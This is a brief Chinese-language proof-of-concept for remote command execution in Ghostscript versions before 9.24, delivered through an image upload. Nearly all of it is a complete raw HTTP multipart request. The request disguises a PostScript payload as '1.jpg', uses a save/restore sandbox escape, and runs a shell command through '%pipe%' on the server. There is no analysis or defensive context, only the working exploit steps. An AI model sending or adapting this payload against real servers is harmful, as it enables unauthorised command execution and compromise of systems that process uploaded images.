影响范围

Ghostscript 9.24之前版本

将POC作为图片上传，执行命令，抓包

POST /index.php HTTP/1.1

Host: target

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO

Content-Length: 279

------WebKitFormBoundaryukZmnyhO

Content-Disposition: form-data; name="file_upload"; filename="1.jpg"

content-Type="image/png"

%!PS

0 1 300367 {} for

{save restore} stopped {} if

(%pipe%id > /tmp/success && cat /tmp/success) (w) file

------WebKitFormBoundaryukZmnyhO--